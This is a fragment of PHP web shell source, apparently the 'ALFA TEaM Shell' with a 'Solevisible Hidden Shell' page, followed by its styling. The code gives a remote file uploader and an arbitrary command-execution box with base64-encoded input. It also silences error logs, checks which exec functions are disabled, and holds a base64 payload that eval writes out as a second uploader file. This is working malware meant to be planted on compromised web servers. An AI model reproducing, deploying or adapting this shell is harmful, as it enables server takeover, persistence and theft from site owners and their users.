    echo "<title>Solevisible Hidden Shell</title>";
    echo "<body bgcolor=#000000>";
    echo '<b><big><font color=#7CFC00>Kernel : </font><font color="#FFFFF">' . (function_exists('php_uname') ? php_uname() : '???') . '</font></b></big>';
    $safe_mode = @ini_get('safe_mode');
    if ($safe_mode) {
        $r = "<b style='color: red'>On</b>";
    } else {
        $r = "<b style='color: green'>Off</b>";
    }
    echo "<br><b style='color: #7CFC00'>OS: </font><font color=white>PHP_OS</font><br>";
    echo "<b style='color: #7CFC00'>Software: </font><font color=white>" . $_SERVER['SERVER_SOFTWARE'] . "</font><br>";
    echo "PHP Version: <font color=white>PHP_VERSION</font><br />";
    echo "PWD:<font color=#FFFFFF> " . str_replace("\\", "/", @alfaGetCwd()) . "/<br />";
    echo "<b style='color: #7CFC00'>Safe Mode : {$r}<br>";
    echo "<font color=#7CFC00>Disable functions : </font>";
    $disfun = @ini_get('disable_functions');
    if (empty($disfun)) {
        $disfun = '<font color="green">NONE</font>';
    }
    echo "<font color=red>";
    echo "{$disfun}";
    echo "</font><br>";
    echo "<b style='color: #7CFC00'>Your Ip Address is :  </font><font color=white>" . $_SERVER['REMOTE_ADDR'] . "</font><br>";
    echo "<b style='color: #7CFC00'>Server Ip Address is :  </font><font color=white>" . (function_exists('gethostbyname') ? @gethostbyname($_SERVER["HTTP_HOST"]) : '???') . "</font><br><p>";
    echo "<hr><center><form onSubmit=\"this.upload.disabled=true;this.cwd.value = btoa(unescape(encodeURIComponent(this.cwd.value)));\" action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">";
    echo 'CWD: <input type="text" name="cwd" value="' . str_replace("\\", "/", @alfaGetCwd()) . '/" size="59"><p><input type="file" name="file" size="45"><input name="upload" type="submit" id="_upl" value="Upload"></p></form></center>';
    if (isset($_FILES['file'])) {
        if (@move_uploaded_file($_FILES['file']['tmp_name'], __ZGVjb2Rlcg(@$_POST['cwd']) . '/' . $_FILES['file']['name'])) {
            echo "<b><font color=\"#7CFC00\"><center>Upload Successfully ;)</font></a><font color=\"#7CFC00\"></b><br><br></center>";
        } else {
            echo "<center><b><font color=\"#7CFC00\">Upload failed :(</font></a><font color=\"#7CFC0\"></b></center><br><br>";
        }
    }
    echo "<hr><form onSubmit=\"this.execute.disabled=true;this.command_solevisible.value = btoa(unescape(encodeURIComponent(this.command_solevisible.value)));\" method=\"POST\">Execute Command: <input name=\"command_solevisible\" value=\"\" size=\"59\" type=\"text\" align=\"left\" ><input name=\"execute\" value=\"Execute\" type=\"submit\"><br></form>\r\n<hr><pre>";
    if (isset($_POST['command_solevisible'])) {
        if (strtolower("PHP") == "win") {
            $separator = '&';
        } else {
            $separator = ';';
        }
        $solevisible = "cd '" . addslashes(str_replace("\\", "/", @alfaGetCwd())) . "'" . $separator . "" . __ZGVjb2Rlcg($_POST['command_solevisible']);
        echo alfaEx($solevisible);
    }
    echo "</pre>\r\n</body></html>";
    exit;
}
@error_reporting("\x00\x00\x0f\x03\x18");
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('magic_quotes_runtime', 0);
@set_time_limit(0);
if (function_exists('set_magic_quotes_runtime')) {
    @set_magic_quotes_runtime(0);
}
foreach ($_POST as $key => $value) {
    if (is_array($_POST[$key])) {
        $i = 0;
        foreach ($_POST[$key] as $f) {
            $f = trim(str_replace(' ', '+', $f));
            $_POST[$key][$i] = decrypt_post($f);
            $i++;
        }
    } else {
        $value = trim(str_replace(' ', '+', $value));
        $_POST[$key] = decrypt_post($value);
    }
}
$default_action = 'FilesMan2';
//'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if (strtolower("PHP") == "win") {
    $GLOBALS['sys'] = 'win';
} else {
    $GLOBALS['sys'] = 'unix';
}
$GLOBALS['home_cwd'] = @alfaGetCwd();
$GLOBALS["need_to_update_header"] = "false";
$GLOBALS['glob_chdir_false'] = false;
if (isset($_POST['c'])) {
    if (!@chdir($_POST['c'])) {
        $GLOBALS['glob_chdir_false'] = true;
    }
}
$GLOBALS['cwd'] = isset($_POST['c']) && @is_dir($_POST['c']) ? $_POST['c'] : @alfaGetCwd();
if ($GLOBALS['glob_chdir_false']) {
    $GLOBALS['cwd'] = isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : @alfaGetCwd();
}
if ($GLOBALS['sys'] == 'win') {
    $GLOBALS['home_cwd'] = str_replace("\\", "/", $GLOBALS['home_cwd']);
    $GLOBALS['cwd'] = str_replace("\\", "/", $GLOBALS['cwd']);
}
if ($GLOBALS['cwd'][strlen($GLOBALS['cwd']) - 1] != '/') {
    $GLOBALS['cwd'] .= '/';
}
if (!function_exists('sys_get_temp_dir')) {
    function sys_get_temp_dir()
    {
        foreach (array('TMP', 'TEMP', 'TMPDIR') as $env_var) {
            if ($temp = getenv($env_var)) {
                return $temp;
            }
        }
        $temp = tempnam($GLOBALS['__file_path'], '');
        if (_alfa_file_exists($temp, false)) {
            unlink($temp);
            return dirname($temp);
        }
        return null;
    }
}
if (!function_exists("mb_strlen")) {
    function mb_strlen($str, $c = "")
    {
        return strlen($str);
    }
}
if (!function_exists("mb_substr")) {
    function mb_substr($str, $start, $end, $c = "")
    {
        return substr($str, $start, $end);
    }
}
define("ALFA_TEMPDIR", function_exists("sys_get_temp_dir") ? @is_writable(str_replace('\\', '/', sys_get_temp_dir())) ? sys_get_temp_dir() : (@is_writable('.') ? '.' : false) : false);
function alfahead()
{
    $GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+';
    $alfa_uploader = "\$x = base64_decode(\"PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+\");\$solevisible = fopen(\"solevisible.php\",\"w\");fwrite(\$solevisible,\$x);";
    define("ALFA_UPLOADER", "eval(base64_decode('" . __ZW5jb2Rlcg($alfa_uploader) . "'))");
    if (!isset($_POST['ajax'])) {
        function Alfa_GetDisable_Function()
        {
            $disfun = @ini_get('disable_functions');
            $afa = '<span class="header_show_all">All Functions Accessible</span>';
            if (empty($disfun)) {
                return "<span class=\"header_show_all\">All Functions Accessible</span>";
            }
            $s = explode(',', $disfun);
            $s = array_unique($s);
            $i = 0;
            $b = 0;
            $func = array('system', 'exec', 'shell_exec', 'proc_open', 'popen', 'passthru', 'symlink', 'dl');
            $black_list = array();
            $allow_list = array();
            foreach ($s as $d) {
                $d = trim($d);
                if (empty($d) || !is_callable($d)) {
                    continue;
                }
                if (!function_exists($d)) {
                    if (in_array($d, $func)) {
                        $dis .= $d . " | ";
                        $b++;
                        $black_list[] = $d;
                    } else {
                        $allow_list[] = $d;
                    }
                    $i++;
                }
            }
            if ($i == 0) {
                return $afa;
            }
            if ($i <= count($func)) {
                $all = array_values(array_merge($black_list, $allow_list));
                return '<span class="disable_functions">' . implode(" | ", $all) . '</span>';
            }
            return '<span class="disable_functions">' . $dis . '</span><a id="menu_opt_GetDisFunc" href=javascript:void(0) onclick="alfa_can_add_opt = true;g(\'GetDisFunc\',null,\'wp\');"><span class="header_show_all">Show All (' . $i . ')</span></a>';
        }
        function AlfaNum()
        {
            $args = func_get_args();
            $alfax = array();
            $find = array();
            for ($i = 1; $i <= 10; $i++) {
                $alfax[] = $i;
            }
            foreach ($args as $arg) {
                $find[] = $arg;
            }
            echo "<script>";
            foreach ($alfax as $alfa) {
                if (in_array($alfa, $find)) {
                    continue;
                }
                echo 'alfa' . $alfa . "_=";
            }
            echo "\"\"</script>";
        }
        if (empty($_POST['charset'])) {
            $_POST['charset'] = $GLOBALS['default_charset'];
        }
        $freeSpace = function_exists('diskfreespace') ? @diskfreespace($GLOBALS['cwd']) : '?';
        $totalSpace = function_exists('disk_total_space') ? @disk_total_space($GLOBALS['cwd']) : '?';
        $totalSpace = $totalSpace ? $totalSpace : 1;
        $on = "<span class='header_on'> ON </span>";
        $of = "<span class='header_off'> OFF </span>";
        $none = "<span class='header_none'> NONE </span>";
        if (function_exists('ssh2_connect')) {
            $ssh2 = $on;
        } else {
            $ssh2 = $of;
        }
        if (function_exists('curl_version')) {
            $curl = $on;
        } else {
            $curl = $of;
        }
        if (function_exists('mysql_get_client_info') || class_exists('mysqli')) {
            $mysql = $on;
        } else {
            $mysql = $of;
        }
        if (function_exists('mssql_connect')) {
            $mssql = $on;
        } else {
            $mssql = $of;
        }
        if (function_exists('pg_connect')) {
            $pg = $on;
        } else {
            $pg = $of;
        }
        if (function_exists('oci_connect')) {
            $or = $on;
        } else {
            $or = $of;
        }
        if (@ini_get('disable_functions')) {
            $disfun = @ini_get('disable_functions');
        } else {
            $disfun = "All Functions Enable";
        }
        if (@ini_get('safe_mode')) {
            $safe_modes = "<span class='header_off'>ON</span>";
        } else {
            $safe_modes = "<span class='header_on'>OFF</span>";
        }
        $cgi_shell = "<span class='header_off' id='header_cgishell'>OFF</span>";
        if (@ini_get('open_basedir')) {
            $basedir_data = @ini_get('open_basedir');
            if (strlen($basedir_data) > 120) {
                $open_b = substr($basedir_data, 0, 120) . "...";
            } else {
                $open_b = $basedir_data;
            }
        } else {
            $open_b = $none;
        }
        if (@ini_get('safe_mode_exec_dir')) {
            $safe_exe = @ini_get('safe_mode_exec_dir');
        } else {
            $safe_exe = $none;
        }
        if (@ini_get('safe_mode_include_dir')) {
            $safe_include = @ini_get('safe_mode_include_dir');
        } else {
            $safe_include = $none;
        }
        if (!function_exists('posix_getegid')) {
            $user = function_exists("get_current_user") ? @get_current_user() : "????";
            $uid = function_exists("getmyuid") ? @getmyuid() : "????";
            $gid = function_exists("getmygid") ? @getmygid() : "????";
            $group = "?";
        } else {
            $uid = function_exists("posix_getpwuid") && function_exists("posix_geteuid") ? @posix_getpwuid(posix_geteuid()) : array("name" => "????", "uid" => "????");
            $gid = function_exists("posix_getgrgid") && function_exists("posix_getegid") ? @posix_getgrgid(posix_getegid()) : array("name" => "????", "gid" => "????");
            $user = $uid['name'];
            $uid = $uid['uid'];
            $group = $gid['name'];
            $gid = $gid['gid'];
        }
        $cwd_links = '';
        $path = explode("/", $GLOBALS['cwd']);
        $n = count($path);
        for ($i = 0; $i < $n - 1; $i++) {
            $cwd_links .= "<a class='header_pwd' onclick='g(\"FilesMan\",\"";
            $cach_cwd_path = "";
            for ($j = 0; $j <= $i; $j++) {
                $cwd_links .= $path[$j] . '/';
                $cach_cwd_path .= $path[$j] . '/';
            }
            $cwd_links .= "\")' path='" . $cach_cwd_path . "' href='#action=fileman&path=" . $cach_cwd_path . "'>" . $path[$i] . "/</a>";
        }
        $drives = "";
        foreach (range('a', 'z') as $drive) {
            if (@is_dir($drive . ':\\')) {
                $drives .= '<a href="javascript:void(0);" class="header_drive" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
            }
        }
        $csscode = '	-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;';
        echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />
<link href="' . __showicon('alfamini') . '" rel="icon" type="image/x-icon"/>
<title>..:: ' . $_SERVER['HTTP_HOST'] . ' ~ ALFA TEaM Shell - v' . __ALFA_VERSION__ . '-' . __ALFA_CODE_NAME__ . ' ::..</title>
<style type="text/css">';
        ?>
.hlabale{color:#67abdf;border-radius:4px;border:1px solid #27979b;margin-left:7px;padding:2px}#tbl_sympphp tr{text-align:center}#PhpCode,.php-evals-ace,.view_ml_content{position:absolute;top:0;right:0;bottom:0;left:0;background:#1b292b26;top:50px}.editor-view{position:relative;height:100%}.view-content{position:absolute;overflow-y:auto;width:100%;height:93%}::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);border-radius:10px;background-color:#000115}::-webkit-scrollbar{width:10px;background-color:#000115}::-webkit-scrollbar-thumb{border-radius:10px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#1e82b5}.editor-file-name{margin-left:29px;margin-top:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-icon{position:absolute}.is_active{background:rgba(49,55,93,.77);border-radius:10px}.history-list{height:88%;overflow-y:auto}.opt-title{position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);color:#2fd051;font-size:25px;font-family:monospace}.options_min_badge{visibility:hidden;text-align:center;right:30px;color:#fff;background:#2a8a24;padding:6px;border-radius:50%;width:15px;height:15px;display:inline-block;position:absolute;top:-7px}#cgiloader-minimized,#database_window-minimized,#editor-minimized,#options_window-minimized{display:block;position:fixed;right:-30px;width:30px;height:30px;top:30%;z-index:9999}.minimized-wrapper{position:relative;background:#0e304a;width:44px;height:130px;cursor:pointer;border-bottom-left-radius:5px;border-top-left-radius:5px}.minimized-text{transform:rotate(-90deg);color:wheat;font-size:x-large;display:inline-block;position:absolute;right:-51px;width:129px;top:-10px;border-top-left-radius:4%;height:56px;padding:3px}.close-button,.editor-minimize{height:26px;width:38px;right:7px;background:#1d5673;cursor:pointer;position:absolute;box-sizing:border-box;line-height:50px;display:inline-block;top:17px;border-radius:100px}.editor-minimize{right:50px}.close-button:after,.close-button:before,.editor-minimize:before{transform:rotate(-45deg);content:"";position:absolute;top:63%;right:6px;margin-top:-5px;margin-left:-25px;display:block;height:4px;width:27px;background-color:rgba(216,207,207,.75);transition:all .25s ease-out}.editor-minimize:before{transform:rotate(0)}.close-button:after{transform:rotate(-135deg)}.close-button:hover:after,.close-button:hover:before,.editor-minimize:hover:before{background-color:red}.close-button:hover,.editor-minimize:hover{background-color:rgba(39,66,80,.96)}#cgiloader,#database_window,#editor,#options_window{display:none;position:fixed;top:0;width:100%;height:100%;z-index:20}.editor-wrapper{width:100%;height:100%;position:relative;top:1%}.editor-header{width:97%;background:rgba(21,66,88,.93);height:37px;margin-left:13px;position:relative;border-top-left-radius:15px;border-top-right-radius:15px}.editor-path{position:absolute;font-size:x-large;margin-left:10px;top:6px;color:#00ff7f}.editor-modal{position:relative;top:0;background-color:rgba(0,1,23,.95);height:90%;margin-left:20%;margin-right:2%;border:2px #0e304a solid}.editor-explorer{width:19%;height:90%;background-color:rgba(0,1,23,.94);position:absolute;z-index:2;left:1%;border:2px #0e304a solid}.editor-controller{position:relative;top:-13px}.file-holder{position:relative;width:100%;height:30px}.file-holder>.history{position:absolute;color:#03b3a3;cursor:pointer;left:5px;font-size:18px;font-family:sans-serif;width:89%;height:100%;z-index:3;border-radius:10px;transition:background-color .6s ease-out}.file-holder>.history-close{display:block;opacity:0;position:absolute;right:2px;width:20px;top:4px;text-align:center;cursor:pointer;color:#fff;background:red;border-radius:100px;font-family:monospace;z-index:10;transition:opacity .6s ease-out;font-size:15px;height:19px}.file-holder>.history:hover{background-color:#646464}.editor-explorer>.hheader{position:relative;color:#14ff07;border-bottom:2px #206aa2 solid;text-align:center;font-family:sans-serif;margin-bottom:10px;height:55px}.editor-search{position:absolute;bottom:7px;left:31px}.hheader-text{position:absolute;left:8px;top:2px}.history-clear{position:absolute;right:8px;top:2px;cursor:pointer}.editor-body{position:relative;margin-left:3px;height:100%}.editor-anim-close{-webkit-animation:editorClose .8s ease-in-out forwards;-moz-animation:editorClose .8s ease-in-out forwards;-ms-animation:editorClose .8s ease-in-out forwards;animation:editorClose .8s ease-in-out forwards}@keyframes editorClose{0%{visibility:1;opacity:1}100%{visibility:0;opacity:0}}.editor-anim-minimize{-webkit-animation:editorMinimize .8s ease-in-out forwards;-moz-animation:editorMinimize .8s ease-in-out forwards;-ms-animation:editorMinimize .8s ease-in-out forwards;animation:editorMinimize .8s ease-in-out forwards}@keyframes editorMinimize{0%{right:0;opacity:1}100%{right:-2000px;opacity:0}}.editor-anim-show{-webkit-animation:editorShow .8s ease-in-out forwards;-moz-animation:editorShow .8s ease-in-out forwards;-ms-animation:editorShow .8s ease-in-out forwards;animation:editorShow .8s ease-in-out forwards}@keyframes editorShow{0%{right:-2000px;opacity:0}100%{right:0;opacity:1}}.minimized-show{-webkit-animation:minimizeShow .8s ease-in-out forwards;-moz-animation:minimizeShow .8s ease-in-out forwards;-ms-animation:minimizeShow .8s ease-in-out forwards;animation:minimizeShow .8s ease-in-out forwards}@keyframes minimizeShow{0%{right:-30px;opacity:0}100%{right:0;opacity:1}}.minimized-hide{-webkit-animation:minimizeHide .8s ease-in-out forwards;-moz-animation:minimizeHide .8s ease-in-out forwards;-ms-animation:minimizeHide .8s ease-in-out forwards;animation:minimizeHide .8s ease-in-out forwards}@keyframes minimizeHide{0%{right:0;opacity:1}100%{right:-30px;opacity:0}}.solevisible-text:hover{-webkit-text-shadow:0 0 25px #0f0;-moz-text-shadow:0 0 25px #0f0;-ms-text-shadow:0 0 25px #0f0;text-shadow:0 0 25px #0f0}.update-holder{position:fixed;top:0;background-color:rgba(0,24,29,.72);width:100%;height:100%}.update-content{position:relative}.update-content>a{text-decoration:none;position:absolute;color:rgba(103,167,47,.77);left:24%;margin-top:7%;font-size:40px}.update-close{position:absolute;right:0;margin-right:23px;top:10px;font-size:27px;background-color:#130f50;width:5%;border-radius:100px;cursor:pointer;border:2px #0e265a solid}.update-close:hover{border:2px #25ff00 solid;color:red}.filestools{height:auto;width:auto;color:#67abdf;font-size:12px;font-family:Verdana,Geneva,sans-serif}@-moz-document url-prefix(){#search-input{width:173px}.editor-path{top:3px}}.filters-holder{padding:5px;padding-left:10px}.filters-holder input{width:200px}.filters-holder span{color:#8bc7f7}#rightclick_menu{width:175px;visibility:hidden;opacity:0;position:fixed;background:#0f304a;color:#555;font-family:sans-serif;font-size:11px;-webkit-transition:opacity .5s ease-in-out;-moz-transition:opacity .5s ease-in-out;-ms-transition:opacity .5s ease-in-out;-o-transition:opacity .5s ease-in-out;transition:opacity .5s ease-in-out;-webkit-box-shadow:-1px 0 17px 0 #8b8b8c;-moz-box-shadow:-1px 0 17px 0 #8b8b8c;box-shadow:-1px 0 17px 0 #8b8b8c;padding:0;border:1px solid #737373;border-radius:10px}#rightclick_menu a{display:block;color:#fff;font-weight:bolder;text-decoration:none;padding:6px 8px 6px 30px;position:relative;padding-left:40px}#rightclick_menu a i.fa,#rightclick_menu a img{height:20px;font-size:17px;width:20px;position:absolute;left:5px;top:2px;padding-left:5px}#rightclick_menu a span{color:#bcb1b3;float:right}#rightclick_menu a:hover{color:#fff;background:#3879d9}#rightclick_menu hr{border:1px solid #ebebeb;border-bottom:0}.cl-popup-fixed{position:fixed;top:0;left:0;width:100%;height:100%;background:#201e1ead}#shortcutMenu-holder{position:absolute;top:40%;left:50%;transform:translate(-50%,-50%);background:#1f1e1edb;height:190px;width:500px;color:#fff}#shortcutMenu-holder>.popup-head{background:#207174;padding:6px;border-top:10px;text-align:center;font-family:sans-serif;color:#fff}#shortcutMenu-holder>form{padding:10px}#shortcutMenu-holder>form>label{display:block}#shortcutMenu-holder>form>input{width:99%;height:24px;margin-top:4px;color:#fff;outline:0;font-size:16px}#shortcutMenu-holder>.popup-foot{float:right;height:30px;margin-right:8px}#shortcutMenu-holder>.popup-foot>button{height:100%;cursor:pointer;color:#fff;outline:0}.php-terminal-output{overflow:auto;height:86%;border:1px solid #1e5673;border-radius:10px}.cmd-history-holder{visibility:hidden;opacity:0;position:absolute;color:#dff3d5;background:#093d58;top:-300px;height:300px;width:calc(69% + -11px);border-radius:10px 10px 0 0;left:calc(2% - 9px);transition:visibility .5s,opacity .5s linear}.cmd-history-holder .commands-history-header{background:#37504e;text-align:center;border-radius:10px 10px 0 0}.cmd-history-icon{width:27px;top:6px;left:calc(69% + 5px);position:absolute;cursor:pointer}.history-cmd-line{padding:4px;border-bottom:1px dashed;cursor:pointer}.history-cmd-line:hover{background:#961111}#myUL,#myUL ul{list-style-type:none}#myUL{margin:0;padding:0}.box{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.box::before{content:"\2610";color:#000;display:inline-block;margin-right:6px}.check-box::before{content:"\2611";color:#1e90ff}.nested{display:none}.active{display:block}.flag-holder>img{width:20px;vertical-align:middle;padding-left:6px}#options_window .content_options_holder .options_holder{position:relative;display:none;overflow:auto;min-height:300px;max-height:calc(100vh - 100px)}#options_window .content_options_holder .options_holder .header{min-height:50vh}#options_window .content_options_holder .options_holder.option_is_active{display:block}#options_window .content_options_holder .options_tab{padding:5px;margin-left:14px;margin-right:30px;background:#000;border-bottom:7px solid #0f304a;border-left:7px solid #0f304a;border-right:7px solid #0f304a;overflow-x:auto;white-space:nowrap}#filesman_tabs .filesman_tab img,#options_window .content_options_holder .options_tab .tab_name img,.editor-tab-name img,.sql-tabs .sql-tabname img,.terminal-tabs .terminal-tab img{width:10px;vertical-align:middle;margin-left:5px}#filesman_tabs .filesman_tab,#options_window .content_options_holder .options_tab .tab_name,.editor-tab-name,.sql-tabs .sql-newtab,.sql-tabs .sql-tabname,.terminal-tabs .terminal-tab{display:inline-block;background-color:#133d51;border-radius:4px;padding:5px;color:#fff;margin-right:3px;padding:5px;cursor:pointer;margin-bottom:1px;transition:background-color .5s}#filesman_tabs .filesman_tab{min-width:55px;text-align:center}#filesman_tabs .filesman_tab:hover,#options_window .content_options_holder .options_tab .tab_name:hover,.editor-tab-name:hover,.sql-tabs .sql-tabname:hover,.terminal-tabs .terminal-tab:hover{background-color:#a23939}.editor-tabs,.sql-tabs,.terminal-tabs{padding:5px;overflow-x:auto;white-space:nowrap}.options-loader-holder{position:absolute;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:11}.options-loader-holder img{position:absolute;top:32%;left:45%;transform:translate(-50%,-50%);width:100px;animation:spin 2s infinite}#filesman_tabs .filesman_tab.filesman-tab-active,#options_window .content_options_holder .options_tab .tab_name.tab_is_active,.editor-tab-name.editor-tab-active,.sql-tabname.sql-active-tab,.terminal-tab.active-terminal-tab{background-color:#009688}.tab-is-done{animation:2s tab_change_color infinite step-end}.stopAjax{color:#fff;font-size:20px;display:inline-block;padding:10px;cursor:pointer}#a_loader{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:99}.fmanager-row>td{position:relative}.fmanager-row .symlink_path{position:fixed;max-width:100%;background-color:#0f304a;border-radius:10px;font-size:15px;padding:8px;color:#fdf4f4;border:1px solid #8a8a8a;z-index:1;pointer-events:none}.archive-icons{vertical-align:middle}.archive-type-dir{font-weight:bolder}.archive-type-file{font-weight:unset}.archive-name{cursor:pointer}.archive_dir_holder a{color:#0f0;font-weight:bolder;cursor:pointer}.archive_dir_holder 